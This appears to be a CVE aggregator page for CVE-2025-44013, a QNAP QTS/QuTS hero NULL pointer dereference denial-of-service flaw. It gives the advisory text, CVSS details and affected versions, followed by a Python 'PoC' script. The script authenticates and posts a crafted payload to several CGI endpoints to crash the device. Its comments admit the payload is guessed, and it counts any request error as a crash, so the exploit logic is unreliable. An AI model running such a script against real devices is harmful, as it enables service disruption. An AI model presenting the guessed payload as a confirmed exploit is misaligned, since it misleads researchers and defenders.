CVE-2025-44013

Description

A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following versions: QTS 5.2.6.3195 build 20250715 and later QuTS hero h5.2.6.3195 build 20250715 and later

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QNAP QTS < 5.2.6.3195 build 20250715

QNAP QuTS hero < h5.2.6.3195 build 20250715

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2025-44013 PoC - QNAP NULL Pointer Dereference DoS
Note: This PoC is for educational and authorized testing purposes only.
Author: Security Research
Reference: QNAP Security Advisory QSA-25-50
"""

import requests
import sys
import argparse
from urllib.parse import urljoin

def check_cve_2025_44013(target_url, username, password):
    """
    Check if target QNAP device is vulnerable to CVE-2025-44013
    This attempts to trigger NULL pointer dereference via specific API request
    """
    
    # QNAP QTS/QuTS hero authentication endpoint
    auth_url = urljoin(target_url, '/cgi-bin/authLogin.cgi')
    
    # Prepare authentication payload
    auth_data = {
        'username': username,
        'password': password
    }
    
    try:
        # Step 1: Authenticate to obtain session
        session = requests.Session()
        response = session.post(auth_url, data=auth_data, timeout=10)
        
        if response.status_code != 200:
            print(f"[-] Authentication failed - HTTP {response.status_code}")
            return False
        
        # Step 2: Send crafted request to trigger NULL pointer dereference
        # The exact payload depends on the vulnerable endpoint
        exploit_endpoints = [
            '/cgi-bin/management/manaRequest.cgi',
            '/cgi-bin/filemanager/utilRequest.cgi',
            '/cgi-bin/sys/sysRequest.cgi'
        ]
        
        headers = {
            'User-Agent': 'QNAP NAS Client',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        
        # Crafted payload that may trigger the vulnerability
        exploit_payload = {
            'func': 'core',  # May trigger NULL dereference in core module
            'op': 'query',
            'year': 'null',  # Specific parameter causing NULL pointer issue
            'month': '',
            'day': ''
        }
        
        for endpoint in exploit_endpoints:
            target = urljoin(target_url, endpoint)
            try:
                response = session.post(target, data=exploit_payload, 
                                       headers=headers, timeout=10)
                print(f"[*] Request sent to {endpoint}: Status {response.status_code}")
            except requests.exceptions.RequestException as e:
                print(f"[!] Request to {endpoint} caused exception: {e}")
                print(f"[!] Target may be vulnerable and crashed")
                return True
        
        return False
        
    except Exception as e:
        print(f"[-] Error: {e}")
        return None

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='CVE-2025-44013 PoC')
    parser.add_argument('-t', '--target', required=True, help='Target QNAP URL')
    parser.add_argument('-u', '--username', required=True, help='Username')
    parser.add_argument('-p', '--password', required=True, help='Password')
    
    args = parser.parse_args()
    check_cve_2025_44013(args.target, args.username, args.password)

# Usage: python cve-2025-44013.py -t https://qnap-nas.local -u admin -p password

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-44013
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-44013
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-44013/
[4] VulDB https://vuldb.com/cve/CVE-2025-44013
[5] https://www.qnap.com/en/security-advisory/qsa-25-50

Raw JSON Data

JSON

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